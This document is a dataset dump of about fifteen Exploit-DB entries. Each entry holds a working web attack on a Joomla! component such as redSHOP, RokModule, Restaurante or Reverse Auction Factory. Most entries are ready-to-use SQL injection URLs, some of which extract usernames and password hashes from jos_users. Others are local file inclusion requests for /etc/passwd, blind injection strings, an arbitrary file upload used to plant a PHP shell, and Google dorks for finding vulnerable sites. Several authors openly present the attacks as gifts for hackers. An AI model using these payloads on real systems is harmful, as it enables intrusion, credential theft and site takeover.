deardaniel/secdata-raw huggingface dataset:
Exploit-DB #14312
Description: Joomla! Component redSHOP 1.0 - 'pid' SQL Injection
Type: webapps
Platform: php
Date: 2010-07-10
Author: v3n0m

Exploit:
     )   )            )                     (   (         (   (    (       )     ) 
  ( /(( /( (       ( /(  (       (    (     )\ ))\ )      )\ ))\ ) )\ ) ( /(  ( /( 
  )\())\()))\ )    )\()) )\      )\   )\   (()/(()/(  (  (()/(()/((()/( )\()) )\())
 ((_)((_)\(()/(   ((_)((((_)(  (((_)(((_)(  /(_))(_)) )\  /(_))(_))/(_))(_)\|((_)\ 
__ ((_)((_)/(_))___ ((_)\ _ )\ )\___)\ _ )\(_))(_))_ ((_)(_))(_)) (_))  _((_)_ ((_)
\ \ / / _ (_)) __\ \ / (_)_\(_)(/ __(_)_\(_) _ \|   \| __| _ \ |  |_ _|| \| | |/ / 
 \ V / (_) || (_ |\ V / / _ \  | (__ / _ \ |   /| |) | _||   / |__ | | | .` | ' <  
  |_| \___/  \___| |_| /_/ \_\  \___/_/ \_\|_|_\|___/|___|_|_\____|___||_|\_|_|\_\
										.WEB.ID
-----------------------------------------------------------------------
  Joomla Component com_redshop 1.0 (pid) SQL Injection Vulnerability
-----------------------------------------------------------------------
Author  	: v3n0m
Site    	: http://yogyacarderlink.web.id/
Date		: July, 10-2010
Location	: Jakarta, Indonesia
Time Zone	: GMT +7:00
----------------------------------------------------------------

Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~

Application	: redSHOP
Version		: 1.0 Lower versions may also be affected
Vendor  	: http://www.redcomponent.com/
License		: GPL
Google Dork	: inurl:com_redshop
Description	:

redSHOP is a Content Creation Kit style of webshop / webshop tool where 
you got the most access ever given to any user to completely style around 
and change thier webshop, without alot more knowledge then HTML and a bit of CSS.
----------------------------------------------------------------

Poc:
~~~~~~~

http://127.0.0.1/[path]/index.php?option=com_redshop&view=product&pid=[SQLi]

----------------------------------------------------------------

WWW.YOGYACARDERLINK.WEB.ID | v3n0m666[at]live[dot]com

---------------------------[EOF]--------------------------------
Exploit-DB #12054
Description: Joomla! Component redSHOP 1.0 - Local File Inclusion
Type: webapps
Platform: php
Date: 2010-04-04
Author: NoGe

Exploit:
======================================================================================================================


  [o] Joomla Component redSHOP Local File Inclusion Vulnerability
 
       Software : com_redshop version 1.0.x [ commercial ]
       Vendor   : http://redcomponent.com/
       Author   : NoGe
       Contact  : noge[dot]code[at]gmail[dot]com
       Blog     : http://evilc0de.blogspot.com/
       Home     : http://antisecurity.org/


======================================================================================================================


  [o] Exploit

       http://localhost/[path]/index.php?option=com_redshop&view=[LFI]


  [o] PoC

       http://localhost/index.php?option=com_redshop&view=../../../../../../../../../../../../../../../etc/passwd%00


======================================================================================================================


  [o] Greetz

       Vrs-hCk OoN_BoY Paman zxvf Angela Zhang aJe martfella pizzyroot
       H312Y yooogy mousekill }^-^{ noname matthews s4va stardustmemory
       skulmatic OLiBekaS ulga Cungkee k1tk4t str0ke


======================================================================================================================


  [o] Iklan Layanan Masyarakat

       -irc.******.net- *** Notice -- ander used SAJOIN to make wishnusakti join #channel
       <Jack> wew
       <Jack> ngapaen lu bedua di sini?
       <Jack> ck ck ck
       <@ander> kegiatan mafia
       <@wishnusakti> belajar broo ;))
       <@wishnusakti> nubi nih :(
       <Jack> sama dunk bro
       <Jack> aq ikut yak
       <Jack> mohon bimbingan na sesepuh
       <@wishnusakti> tuhh aku di ajarin ma ander-wear kok 
       <@wishnusakti> minta ma dia brooo 
       <Jack> ok bro
       <Jack> bro ander-wear.. ajarin dunk
       <@wishnusakti> jangan manggil gitu 
       <@wishnusakti> kamu di plorotin celananya nanti broo =))
       <Jack> jadi apa dong?
       <@wishnusakti> ander ku sayang :*
       <~zxvf> [06:27] * ~ander lagi dengerin [Akon - Right Now (Na Na Na)] © [nob0dy] <=- kayak nya lg senenQ dia
       <&pizzy> lagi kasmaran dia 
       <&NoGe> lg berbunga² tuh
       <zxvf> icic

       ouw ouw kamu ketauan... wkakwakwkakwkwakwak... :p


======================================================================================================================
Exploit-DB #14368
Description: Joomla! Component redSHOP 1.0.23.1 - Blind SQL Injection
Type: webapps
Platform: php
Date: 2010-07-15
Author: Salvatore Fresta

Exploit:
RedShop 1.0.23.1 Joomla Component Blind SQL Injection Vulnerability

 Name              RedShop
 Vendor            http://redweb.dk
 Versions Affected 1.0.23.1

 Author            Salvatore Fresta aka Drosophila
 Website           http://www.salvatorefresta.net
 Contact           salvatorefresta [at] gmail [dot] com
 Date              2010-07-13

X. INDEX

 I.    ABOUT THE APPLICATION
 II.   DESCRIPTION
 III.  ANALYSIS
 IV.   SAMPLE CODE
 V.    FIX
 

I. ABOUT THE APPLICATION
________________________

RedShop is a popular and commercial Joomla component.
It  is  a Content Creation Kit style of webshop / webshop
tool where you got the most access ever given to any user
to  completely  style  around  and  change thier webshop,
without  alot  more knowledge then HTML and a bit of CSS.


II. DESCRIPTION
_______________

A parameter in the search form  is not properly sanitised
before being used in a SQL query.


III. ANALYSIS
_____________

Summary:

 A) Blind SQL Injection
 

A) Blind SQL Injection
______________________

The parameters viewform and id are not properly sanitised
The  parameter  keyword  is not properly sanitised before 
being  used  in  a  SQL  query. This  can be exploited to
manipulate SQL queries by injecting arbitrary SQL code.

Successful exploitation  requires that "magic_quotes_gpc"
is disabled. 


IV. SAMPLE CODE
_______________

A) Blind SQL Injection

Copy and past the following lines in the search form:

' AND (SELECT(IF(ASCII(0x41) = 64,false,NULL))) OR '
' AND (SELECT(IF(ASCII(0x41) = 65,true,NULL))) OR '


V. FIX
______

No fix.
Exploit-DB #27532
Description: Joomla! Component redSHOP 1.2 - SQL Injection
Type: webapps
Platform: php
Date: 2013-08-12
Author: Matias Fontanini

Exploit:
--------------------------------------------
Joomla! redSHOP component v1.2 SQL Injection
--------------------------------------------

== Description ==
- Product: Joomla! redSHOP component
- Product link: http://redcomponent.com/redcomponent/redshop
- Vendor: redcomponent
- Affected versions: version 1.2 is vulnerable. Other versions might
be affected as well.
- Vulnerability discovered by: Matias Fontanini

== Vulnerability ==
When using the "addtocompare" task, the component does not correctly
sanitize the "pid" parameter before using it to construct SQL queries,
making it vulnerable to SQL Injection attacks.

The following proof of concept request retrieves the database user,
name and version:

http://example.com/index.php?tmpl=component&option=com_redshop&view=product&task=addtocompare&pid=24%22%20and%201=0%20union%20select%201,2,3,4,5,6,7,8,concat_ws%280x203a20,%20user%28%29,%20database%28%29,%20version%28%29%29,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63%23&cmd=add&cid=20&sid=0.[PII_REDACTED]

== Solution ==
Upgrade the product to the 1.3 version.

== Report timeline ==
[2013-08-02] Vulnerability reported to vendor.
[2013-08-02] Developers answered back indicating that an update would
be released soon.
[2013-08-06] redSHOP 1.3 was released, which fixes the reported issue.
[2013-08-08] Public disclosure.
Exploit-DB #12055
Description: Joomla! Component redTWITTER 1.0 - Local File Inclusion
Type: webapps
Platform: php
Date: 2010-04-04
Author: NoGe

Exploit:
=========================================================================================================================


  [o] Joomla Component redTWITTER Local File Inclusion Vulnerability
 
       Software : com_redtwitter version 1.0.x
       Vendor   : http://redcomponent.com/
       Author   : NoGe
       Contact  : noge[dot]code[at]gmail[dot]com
       Blog     : http://evilc0de.blogspot.com/
       Home     : http://antisecurity.org/


=========================================================================================================================


  [o] Exploit

       http://localhost/[path]/index.php?option=com_redtwitter&view=[LFI]


  [o] PoC

       http://localhost/index.php?option=com_redtwitter&view=../../../../../../../../../../../../../../../etc/passwd%00


=========================================================================================================================


  [o] Greetz

       Vrs-hCk OoN_BoY Paman zxvf Angela Zhang aJe martfella pizzyroot
       H312Y yooogy mousekill }^-^{ noname matthews s4va stardustmemory
       skulmatic OLiBekaS ulga Cungkee k1tk4t str0ke


=========================================================================================================================
Exploit-DB #11061
Description: Joomla! Component Regional Booking - 'id' Blind SQL Injection
Type: webapps
Platform: php
Date: 2010-01-07
Author: Hussin X

Exploit:
Joomla Component Regional Booking (id) Blind SQL Injection Vulnerability
___________________________________

Author: Hussin X

Home : www.IQ-TY.com/vb

___________________________________

script : http://www.joomlahbs.com/


Demo :
_______


http://site.com/p3/index.php?option=com_tophotelmodule&task=showhoteldetails&id=3+and substring(@@version,1,1)=4 > ( FALSE )



http://site.com/p3/index.php?option=com_tophotelmodule&task=showhoteldetails&id=3+and substring(@@version,1,1)=5 > ( TRUE )






Greetz : IQ-SecuritY Members | Milw0rM | SecurityReason
ALL Arabic Hack And Kurdish hack
Exploit-DB #5297
Description: Joomla! Component rekry 1.0.0 - 'op_id' SQL Injection
Type: webapps
Platform: php
Date: 2008-03-23
Author: Sniper456

Exploit:
@ Joomla component rekry!Joom (op_id) <=1.0.0 SQL injectIon.


Author:Sniper456

Contact:Sniper456[attt]gmail.com

Greetss: My chilean people

Developer:Matti Kiviharju


**Bug:

http://www.target.com/index.php?option=com_rekry&Itemid=xX&rekryview=view&op_id=[SQL]

**Example

http://www.target.com/index.php?option=com_rekry&Itemid=60&rekryview=view&op_id=-1/**/union/**/select/**/1,concat(username,0x3a,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17%20from%20jos_users+limit+1,1--



# Fro000M CHILE my frieeeenD! 2008 # /* Grande colo colo */

side note:
  <name>rekry</name>
  <creationDate>18.07.2006</creationDate>
  <author>Matti Kiviharju</author>
  <copyright>Copyright 2006 by Matti Kiviharju. All rights reserved!</copyright>
  <authorEmail>info@teknologiaplaneetta.com</authorEmail>

  <authorUrl>www.teknologiaplaneetta.com</authorUrl>
  <version>1.0.0</version>
  <description>This component allows careers to send their career info to databese!</description>

# milw0rm.com [2008-03-23]
Exploit-DB #42564
Description: Joomla! Component Responsive Portfolio 1.6.1 - SQL Injection
Type: webapps
Platform: php
Date: 2017-08-25
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Joomla! Component RPC - Responsive Portfolio 1.6.1 - SQL Injection
# Dork: N/A
# Date: 25.08.2017
# Vendor Homepage: https://extro.media/
# Software Link: https://extensions.joomla.org/extension/rpc-responsive-portfolio/
# Demo: https://demo.extro.media/responsive-joomla-extensions-en/video-en
# Version: 1.6.1
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 	
# Proof of Concept:
# 
# http://localhost/[PATH]/index.php?option=com_pofos&view=pofo&id=[SQL]
#
# Etc..
# # # # #
Exploit-DB #15040
Description: Joomla! Component Restaurant Guide 1.0.0 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2010-09-18
Author: Valentin

Exploit:
# Exploit Title: Joomla Component com_restaurantguide Multiple Vulnerabilities
# Date: 18.09.2010
# Author: Valentin
# Category: webapps/0day
# Version: 1.0.0

# Tested on: Debian lenny, Apache2, MySQL 5, Joomla 1.5.x
# CVE :  
# Code : 


[:::::::::::::::::::::::::::::::::::::: 0x1 ::::::::::::::::::::::::::::::::::::::]
>> General Information 
Advisory/Exploit Title = Joomla Component com_restaurantguide Multiple Vulnerabilities
Author = Valentin Hoebel
Contact = valentin@xenuser.org


[:::::::::::::::::::::::::::::::::::::: 0x2 ::::::::::::::::::::::::::::::::::::::]
>> Product information
Name = Restaurant Guide
Vendor = Oh-Taek Im
Vendor Websites = http://www.photoindochina.com/, http://extensions.joomla.org/extensions/directory-a-documentation/thematic-directory/14054
Affected Version(s) = 1.0.0

 
[:::::::::::::::::::::::::::::::::::::: 0x3 ::::::::::::::::::::::::::::::::::::::]
>> SQL Injection
index.php?option=com_restaurantguide&view=country&id='&Itemid=69
(id parameter is vulnerable)


>> HTML/JS/VBS Code Injection (all input fields, also in the admin backend)
It is possible to inject HTML/JS/VBS code into the document although XSS filters are active. Simply end the current HTML tag and convert your code into decimal HTMl code without semicolons:
"><A HREF="http://www.google.com./">injected</A>
(which is "><A HREF="http://www.google.com./">injected</A>)
The code doesn't get parsed, so it is not possible to exploit this weakness. However, including arbitrary plain text into the current website is possible. Dangerous! :D


>> Interesting stuff
a) Triggering various error messages in the admin panel is possible, e.g.:
administrator/index.php?option=com_restaurantguide&controller=restaurantitems&task=edit&cid[]=[try ' or -1 or an ID which does not exist]
Sometimes the code of the component gets displayed within the browser window when you try to trigger errors with different variables.

b) Playing around with the controller variable
administrator/index.php?option=com_restaurantguide&controller=../../../../../../../../../etc/passwd%00
(NOT a LFI vulnerability since the controller classes are defined in the source code, you just get different error messages.. nothing to exploit here..)


[:::::::::::::::::::::::::::::::::::::: 0x4 ::::::::::::::::::::::::::::::::::::::]
>> Additional Information
Advisory/Exploit Published = 18.09.2010


[:::::::::::::::::::::::::::::::::::::: 0x5 ::::::::::::::::::::::::::::::::::::::]
>> Misc
Greetz = cr4wl3r, JosS, packetstormsecurity.org


[:::::::::::::::::::::::::::::::::::::: EOF ::::::::::::::::::::::::::::::::::::::]
Exploit-DB #4383
Description: Joomla! Component Restaurante - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2007-09-08
Author: Cold Zero

Exploit:
Joomla Component Restaurante <= Remote File Upload Vulnerability

found by  : Cold z3ro

Homepage : www.hackteach.org , www.xp10.com

================================================================

@################################################################@
# joomla/index.php?option=com_restaurante&task=upload
#
# /joomla/components/com_restaurante/img_original/.shell.php.jpg
#
# Dork : /index.php?option=com_restaurante
@################################################################@


Attacker can upload any file using this link

joomla/index.php?option=com_restaurante&task=upload

after upload the file , He can find it in :

/components/com_restaurante/img_original

But the attacker should add ( Point ) befor filename

Example :

if attacker uploaded file named shell.php.jpg

its name will by like this .shell.php.jpg

in path :

/components/com_restaurante/img_original/.shell.php.jpg

# milw0rm.com [2007-09-08]
Exploit-DB #5280
Description: Joomla! Component Restaurante 1.0 - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2008-03-19
Author: S@BUN

Exploit:
##########################################
#
# Mambo Component com_restaurante SQL Injection
#
##########################################
#
##AUTHOR : S@BUN
#
####HOME : http://www.milw0rm.com/author/1334
#
####MAÄ°L : hackturkiye.hackturkiye@gmail.com
#
############################################
TODAY MY BÄ°RTDAY
SOO I WROTE 5 BUGS ALL FOR HACKERS
5 EXPLOÄ°T HAVE 100.000 MAMBO-JOOMLA WEBPAGES OR MUCH MORE
DONT FORGET MY PRESENT HACKERS
GOOD LUCKY

100.000 DEN FAZLA MAMBO NE JOOMLA WEBSiTESi
YASGUNUM NEDENiYLE HEDiYE
iYi SANLAR

you can see all my exploits

http://my.opera.com/SQL-Injection/blog/

###########################################
#
# DORK 1 : allinurl: "com_restaurante"
#
###########################################
EXPLOIT :

index.php?option=com_restaurante&task=detail&Itemid=S@BUN&id=-99999/**/union/**/select/**/0,0,0x3a,0,0,0,0,0,0,0,0,11,12,1,1,1,1,1,1,1,1,2,2,2,2,2,2,2,2,2,2,3,3,3,3,3,3,3,3,3,3,4,4,4,4,concat(username,0x3a,password)/**/from/**/jos_users/*


###########################################
##################S@BUN####################
###########################################
#####hackturkiye.hackturkiye@gmail.com#####
###########################################

side note:
	<name>Restaurante</name>
	<author>Detodas</author>
	<creationDate>31-07-2007</creationDate>
	<license>This component is released under the GNU/GPL License</license>
	<authorEmail>detodo@masde50.net</authorEmail>

	<authorUrl>www.detodo.masde50.net</authorUrl>
	<version>1.0</version>
	<description>The structure of this component is based on the structure of the component Alberghi by Vamba</description>

# milw0rm.com [2008-03-19]
Exploit-DB #45475
Description: Joomla! Component Reverse Auction Factory 4.3.8 - SQL Injection
Type: webapps
Platform: php
Date: 2018-09-25
Author: Ihsan Sencan

Exploit:
# # # # #
# Exploit Title: Joomla! Component Reverse Auction Factory 4.3.8 - SQL Injection
# Dork: N/A
# Date: 2018-09-24
# Vendor Homepage: https://thephpfactory.com/
# Software Link: https://extensions.joomla.org/extensions/extension/e-commerce/auction/reverse-auction-factory/
# Version: 4.3.8
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2018-17376
# # # # #
# Exploit Author: Ihsan Sencan
# # # # #
# POC: 
# 
# 1)
# http://localhost/[PATH]/index.php?option=com_rbids&task=listauctions&filter_order_Dir=[SQL]
# 
# %2c%45%58%54%52%41%43%54%56%41%4c%55%45%28%36%36%2c%43%4f%4e%43%41%54%28%30%78%35%63%2c%28%53%45%4c%45%43%54%20%28%45%4c%54%28%36%36%3d%36%36%2c%31%29%29%29%2c%43%4f%4e%43%41%54%5f%57%53%28%30%78%32%30%33%61%32%30%2c%55%53%45%52%28%29%2c%44%41%54%41%42%41%53%45%28%29%2c%56%45%52%53%49%4f%4e%28%29%29%29%29
#  
# 2)
# http://localhost/[PATH]/index.php?option=com_rbids&task=listauctions&cat=[SQL]
# 
# %31%27%20%61%6e%64%28%73%65%6c%65%63%74%20%31%20%46%52%4f%4d%28%73%65%6c%65%63%74%20%63%6f%75%6e%74%28%2a%29%2c%63%6f%6e%63%61%74%28%28%73%65%6c%65%63%74%20%28%73%65%6c%65%63%74%20%63%6f%6e%63%61%74%28%64%61%74%61%62%61%73%65%28%29%2c%30%78%32%37%2c%30%78%37%65%29%29%20%46%52%4f%4d%20%69%6e%66%6f%72%6d%61%74%69%6f%6e%5f%73%63%68%65%6d%61%2e%74%61%62%6c%65%73%20%4c%49%4d%49%54%20%30%2c%31%29%2c%66%6c%6f%6f%72%28%72%61%6e%64%28%30%29%2a%32%29%29%78%20%46%52%4f%4d%20%69%6e%66%6f%72%6d%61%74%69%6f%6e%5f%73%63%68%65%6d%61%2e%74%61%62%6c%65%73%20%47%52%4f%55%50%20%42%59%20%78%29%61%29%2d%2d%20%2d
#  
# 3)
# http://localhost/[PATH]/index.php?option=com_rbids&task=categories&filter_letter=[SQL]
# 
# %27%20%41%4e%44%20%45%58%54%52%41%43%54%56%41%4c%55%45%28%32%32%2c%43%4f%4e%43%41%54%28%30%78%35%63%2c%76%65%72%73%69%6f%6e%28%29%2c%28%53%45%4c%45%43%54%20%28%45%4c%54%28%31%3d%31%2c%31%29%29%29%2c%64%61%74%61%62%61%73%65%28%29%29%29%2d%2d%20%58
#  
# # # #
Exploit-DB #21221
Description: Joomla! Component RokModule 1.1 - 'module' Blind SQL Injection
Type: webapps
Platform: php
Date: 2012-09-10
Author: Yarolinux

Exploit:
Titulo: Joomla Component RokModule Blind SQLi [module] Vulnerability

Nombre del Componente: Com_rokmodule

Empresa: http://www.rockettheme.com/

Testeado: Linux Backtrack

Autor: Yarolinux Para WebSecurityDev
Twitter: @Yarolinux

Fecha: 09/09/2012

Bueno la Injeccion Va de la siguiente manera:

http://localhost/index.php?option=com_rokmodule&tmpl=component&type=raw&module=[sqli]

http://localhost/web/index.php?option=com_rokmodule&tmpl=component&type=raw&module=[sqli]or[BlindSQLi]


Ok! Eso es todo Difrutenlo!

Estamos trabajando en un laboratorio testeandolo en Joomla 1.7, Muy 
pronto resultados :D

Greetz: Dylan Irzi & WebSecurityDev
Exploit-DB #12148
Description: Joomla! Component RokModule 1.1 - 'moduleid' Blind SQL Injection
Type: webapps
Platform: php
Date: 2010-04-11
Author: AntiSecurity

Exploit:
==================================================================================================================


  [o] Joomla Component RokModule Blind SQLi [moduleid] Vulnerability
 
       Software : com_rokmodule version 1.1
       Vendor   : http://www.rockettheme.com/
       Author   : AntiSecurity [ NoGe Vrs-hCk OoN_BoY Paman zxvf s4va ]
       Contact  : public[at]antisecurity[dot]org
       Home     : http://antisecurity.org/


==================================================================================================================


  [o] Exploit

       http://localhost/[path]/index.php?option=com_rokmodule&tmpl=component&type=raw&offset=_OFFSET_&moduleid=[BSQLi]


  [o] PoC

       http://localhost/[path]/index.php?option=com_rokmodule&tmpl=component&type=raw&offset=_OFFSET_&moduleid=140+AND+SUBSTRING(@@version,1,1)=5 << true
       http://localhost/[path]/index.php?option=com_rokmodule&tmpl=component&type=raw&offset=_OFFSET_&moduleid=140+AND+SUBSTRING(@@version,1,1)=4 << false


==================================================================================================================


  [o] Greetz

       Angela Zhang stardustmemory aJe martfella pizzyroot Genex
       H312Y yooogy mousekill }^-^{ noname matthews s4va wishnusakti
       skulmatic OLiBekaS ulga Cungkee k1tk4t str0ke


==================================================================================================================


  [o] April 11 2010 - GMT +07:00 Jakarta, Indonesia
Exploit-DB #41389
Description: Joomla! Component Room Management 1.0 - SQL Injection
Type: webapps
Platform: php
Date: 2017-02-18
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Joomla! Component Room Management v1.0 - SQL Injection
# Google Dork: inurl:index.php?option=com_roommgmt
# Date: 18.02.2017
# Vendor Homepage: http://matamko.com/
# Software Buy: http://matamko.com/products/room-management/live-demo
# Demo: http://matamko.com/products/room-management/live-demo
# Version: 1.0
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/room/book?tmpl=component&id=5&date=[SQL]
# '+/*!50000Procedure*/+/*!50000Analyse*/+(extractvalue(0,/*!50000concat*/(0x27,0x496873616e2053656e63616e,0x3a,@@version)),0)-- -
# http://localhost/[PATH]/my-bookings?task=booking.cancelBooking&status=[SQL]
# '+/*!50000Procedure*/+/*!50000Analyse*/+(extractvalue(0,/*!50000concat*/(0x27,0x496873616e2053656e63616e,0x3a,@@version)),0)-- -
# http://localhost/[PATH]/my-bookings?task=booking.cancelBooking&status=0&id=[SQL]
# +/*!50000Procedure*/+/*!50000Analyse*/+(extractvalue(0,/*!50000concat*/(0x27,0x496873616e2053656e63616e,0x3a,@@version)),0)-- -
# Etc...
# # # # #